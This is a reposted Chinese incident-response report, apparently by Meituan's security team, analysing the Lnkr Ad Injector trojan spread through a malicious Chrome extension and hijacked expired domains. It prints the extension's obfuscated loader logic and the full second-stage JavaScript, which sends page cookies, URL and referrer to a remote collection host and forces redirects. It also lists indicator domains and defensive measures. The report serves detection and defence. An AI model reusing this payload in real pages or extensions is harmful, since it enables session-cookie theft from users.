渗透测试 - 黑客技术 | 隐藏在浏览器背后的“黑手”

作者：陶琦笔者具有多年信息安全行业从业经验，目前在美团致力于研发安全体系建设。

一、事件概述

2020年10月，美团安全运营平台发现流量中存在恶意JavaScript请求，信息安全部收到告警后立即开始应急处理，通过对网络环境、访问日志等进行排查，最终锁定恶意请求由Chrome浏览器安装恶意插件引起，该恶意JavaScript文件会窃取Cookie并强制用户跳转到恶意色情站点、推广链接等，结合美团威胁情报大数据，发现该插件与Lnkr Ad Injector木马特征吻合。

此类木马传播方式多样，会通过浏览器插件、Broken Link Hijacking等方式在页面中植入恶意代码，不仅严重影响用户正常访问还会窃取用户数据。经追踪分析发现，多个国内大型互联网站点（Alexa全球排名前600）被感染，影响上亿网民的上网安全，建议各大平台对自身系统第三方加载源以及内部终端设备进行检查，避免遭受此类木马攻击。

二、溯源过程

2.1 安全运营平台发出异常告警

Chrome沙箱监测到恶意JavaScript文件，发出异常告警：

通过告警信息判断基本的攻击行为是：

用户访问正常页面；
页面加载外部JavaScript文件（A）：http://s3.amazonaws.com/js-static/18ced489204f8ff908.js；
A加载第二个JavaScript文件（B）：http://countsource.cool/18ced489204f8ff908.js；
B包含恶意代码，向远程域名发送Cookie等敏感信息。

2.2 分析攻击路径

根据告警中涉及的触发页面、相关网络环境信息，排除流量劫持、XSS攻击等情况，猜测可能的原因为浏览器插件或恶意软件导致。

通过沙箱对问题设备上所有Chrome插件进行分析，发现一个名为Vysor的Chrome插件代码存在恶意行为，检测结果如下：

{ "call_window_location": { "info": "get document.location", "capture": []
    }, "call_document_createElement": { "info": "call document.createElement, create script element", "capture": ["create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:INPUT", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:SCRIPT", "create element elementName:LINK"]
    }, "call_document_removeChild": { "info": "call document.removeChild", "capture": ["remove element {elementName:fieldset}", "remove element {elementName:fieldset}", "remove element {elementName:fieldset}"]
    }, "set_scriptSrcValue": { "info": "set script src unsafe value", "capture": ["//s3.amazonaws.com/js-static/18ced489204f8ff908.js"]
    }
}

可以看到插件代码创建了script标签，然后将script标签的src属性设置为：

//s3.amazonaws.com/js-static/18ced489204f8ff908.js。

2.3 插件恶意代码分析

为了进一步研究该组织木马的特征，我们对该恶意插件的代码进行了人工分析。恶意插件的代码量较大，结构混乱，包含大量干扰代码。

首先恶意代码预先设置了许多无明显意义的字符串，用于构造Payload。

这些字符串通过下面方法的一系列转换最终构造出创建script标签的语句 document[‘createElement’](‘script’)，doctype即为创建出来的script对象。

接下来为script对象的src属性赋值，在addHandler方法中，cl这个参数由elem传递过来，其中包含src字符串，通过cl[0].split(‘>’).slice(2, 3)拿到关键字src，tag是上文的doctype变量也就是script对象，在构造src值这部分，可以看到在常量中有一串一部分很像是base64的字符串：

mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.*\t

恶意代码利用该字符串结合其他预设变量进行一系列转换，最终形成base64后的加载地址：

PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpYzwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM：

通过createLinkPseudo方法解base64，经过replace后形成恶意地址//s3.amazonaws.com/js-static/18ced489204f8ff908.js；

s3.amazonaws.com/js-static/18ced489204f8ff908.js的主要目的是加载下一层的恶意Javascript文件（//countsource.cool/18ced489204f8ff908.js），代码如下：

(function(){var a=document.createElement("script");a.src="//countsource.cool/18ced489204f8ff908.js";(document.head||document.documentElement).appendChild(a)})();;

//countsource.cool/18ced489204f8ff908.js文件内容为：

(function() { function initXMLhttp() { var xmlhttp; if (window.XMLHttpRequest) {
            xmlhttp = new XMLHttpRequest();
        } else {
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        } return xmlhttp;
    } function minAjax(config) { if (!config.url) { return;
        } if (!config.type) { return;
        } if (!config.method) {
            config.method = true;
        } if (!config.debugLog) {
            config.debugLog = false;
        } var sendString = [],
        sendData = config.data; if (typeof sendData === "string") { var tmpArr = String.prototype.split.call(sendData, '&'); for (var i = 0,
            j = tmpArr.length; i < j; i++) { var datum = tmpArr[i].split('=');
                sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
            }
        } else if (typeof sendData === 'object' && !(sendData instanceof String)) { for (var k in sendData) { var datum = sendData[k]; if (Object.prototype.toString.call(datum) == "[object Array]") { for (var i = 0,
                    j = datum.length; i < j; i++) {
                        sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
                    }
                } else {
                    sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
                }
            }
        }
        sendString = sendString.join('&'); if (window.XDomainRequest) { var xmlhttp = new window.XDomainRequest();
            xmlhttp.onload = function() { if (config.success) {
                    config.success(xmlhttp.responseText);
                }
            };
            xmlhttp.open("POST", config.url);
            xmlhttp.send(sendString);
        } else { var xmlhttp = initXMLhttp();
            xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { if (config.success) {
                        config.success(xmlhttp.responseText, xmlhttp.readyState);
                    }
                } else {}
            } if (config.type == "GET") {
                xmlhttp.open("GET", config.url + "?" + sendString, config.method);
                xmlhttp.send();
            } if (config.type == "POST") {
                xmlhttp.open("POST", config.url, config.method);
                xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xmlhttp.send(sendString);
            }
        }
    }
    dL(); function dL() { var host = 'http://press.cdncontentdelivery.com/f'; var config = { url: host + "/stats.php", type: "POST", data: { vbase: document.baseURI, vhref: location.href, vref: document.referrer, k: "Y291bnRzb3VyY2UuY29vbA==", ck: document.cookie, t: Math.floor(new Date().getTime() / 1000), tg: "" }, success: onSuccessCallback
        }; function bl(resp) { ! function(dr) { function t() { return !! localStorage && localStorage.getItem(a)
                } function e() {
                    o(),
                    parent.top.window.location.href = c
                } function o() { var t = r + i; if (localStorage) {
                        localStorage.setItem(a, t)
                    }
                } function n() { if (t()) { var o = localStorage && localStorage.getItem(a);
                        r > o && e()
                    } else e()
                } var a = "MenuIdentifier",
                r = Math.floor((new Date).getTime() / 1e3),
                c = dr,
                i = 86400;
                n()
            } (resp);
        } function onSuccessCallback(response) { if (response && response.indexOf('http') > -1) {
                bl(response);
            }
        }
        minAjax(config);
    }
})();

该文件是真正实现恶意行为的代码，这部分代码没有经过混淆、加密，也没有加入其他无意义的代码干扰分析，可以很清晰地看到其恶意行为：

获取当前页面Cookie，ck参数；
获取当前页面Referrer；
获取当前页面Location；
使用XMLHttpRequest将获取到的数据发送到：
http://press.cdncontentdelivery.com/f/stats.php；
利用onSuccessCallback方法进行跳转。

至此实现了将Cookie发送到远端接收地址，后续通过onSuccessCallback返回内容完成跳转，完整流程：

2.4 通过已发现的IoC深入排查

通过上述特征，发现大量与Lnkr木马相关的域名和插件，部分并未出现在已知的威胁情报中，经进一步分析发现，移动终端设备也有触发恶意请求的情况。

除此之外我们也发现国内多个大型站点在自身引用资源上引入了Lnkr木马，用户如果访问到这些站点，Cookie信息会被直接发送到远端，存在极高的安全风险。针对站点自身存在恶意资源的这类情况，极有可能是攻击者利用Broken Link Hijacking的攻击手法，对过期域名进行抢注，站点在访问原有资源时被劫持到恶意资源。

三、总结

3.1 恶意域名

以下列举了此次检测发现的恶意域名：

mirextpro.com
browfileext.com
nextextlink.com
lisegreen.biz
makesure.biz
clipsold.com
comtakelink.xyz
protesidenext.com
promfflinkdev.com
rayanplug.xyz
countsource.cool
blancfox.com
skipush1.bbn.com.cn
donewrork.org
loungesrc.net
higedev.cool
s3.amazonaws.com/cashe-js/
s3.amazonaws.com/js-cache/
s3.amazonaws.com/jsfile/
s3.amazonaws.com/cashe-js/
cdngateway.net (接收Cookie域名)
sslproviders.net (接收Cookie域名)
cdncontentdelivery.com (接收Cookie域名)

3.2 恶意插件

排查到包含Lnkr木马特征的恶意插件：

部分恶意插件截图：

四、复盘

Lnkr木马所造成的危害有哪些？

Lnkr木马的核心域名之一cdngateway.net在全球域名流量排名8900位，从流量来源角度，通过外部网站跳转带来的流量占比总流量的65.48%，可见其攻击范围极广，受其影响的应用、用户数量也是非常庞大的。

此类木马对外部用户和内部员工访问同时具有严重危害。

在外部用户方面，如果企业没有严格控制系统第三方资源加载，黑产利用Broken Link Hijacking的攻击手法，致使业务系统加载资源时被劫持植入恶意代码，将严重影响用户体验、信息安全和企业形象。

从内部员工角度，传统杀软、EDR等终端安全设备并不能很好地识别出此类恶意插件，攻击者通过传播恶意浏览器插件控制员工浏览器加载远程恶意资源，不仅仅可以用于广告注入，相较于针对浏览器的其他攻击方式，可以达到更稳定，触发面更广的敏感信息窃取、内网探测等，在CSP历史阻断的恶意请求中，我们也发现除窃取Cookie信息外，也存在恶意代码窃取页面文本信息的情况，这些文本信息在企业内部平台中，极有可能包含大量用户，订单等敏感信息。

如何发现此类恶意木马植入？

针对恶意浏览器插件，在检测方面对其代码做静态分析成本比较大，触发恶意请求的Payload都是通过大量编码转换、拼接、正则匹配等构造而成、且经过了很多没有实际意义的方法，在动态分析方面，由于Chrome插件代码会调用Chrome后台API，在常规沙箱环境中可能会出现无法调用API而中途报错退出。分析中还发现，很多恶意行为需要触发特定事件才能进入到构造恶意Payload流程，如触发chrome.tabs.onUpdated等。

对于浏览器插件安全，可以通过以下方式进行检测及防护：

禁止安装未在Chrome应用商店上线的插件（公司内部开发的插件除外）；
对插件manfiest.json文件进行轻量级的排查，manfiest.json文件中申请权限相对敏感，如Cookie、tabs、webRequest等等；
利用内容安全策略（CSP）对应用页面发起的请求进行拦截或监控，集合静态与动态分析技术，判断JavaScript文件行为；
利用浏览器沙箱与EDR，定期对浏览器插件进行扫描；
构建网络层的检测能力，发现有恶意请求及时应急处理。

对于业务系统自身是否加载恶意资源方面：

严格控制系统加载的第三方资源；
通过内容安全策略（CSP）对页面触发的请求进行拦截或监控。

本文由美团安全应急响应中心原创发布
转自： https://www.anquanke.com/post/id/225632

黑客

隐藏在浏览器背后的“黑手”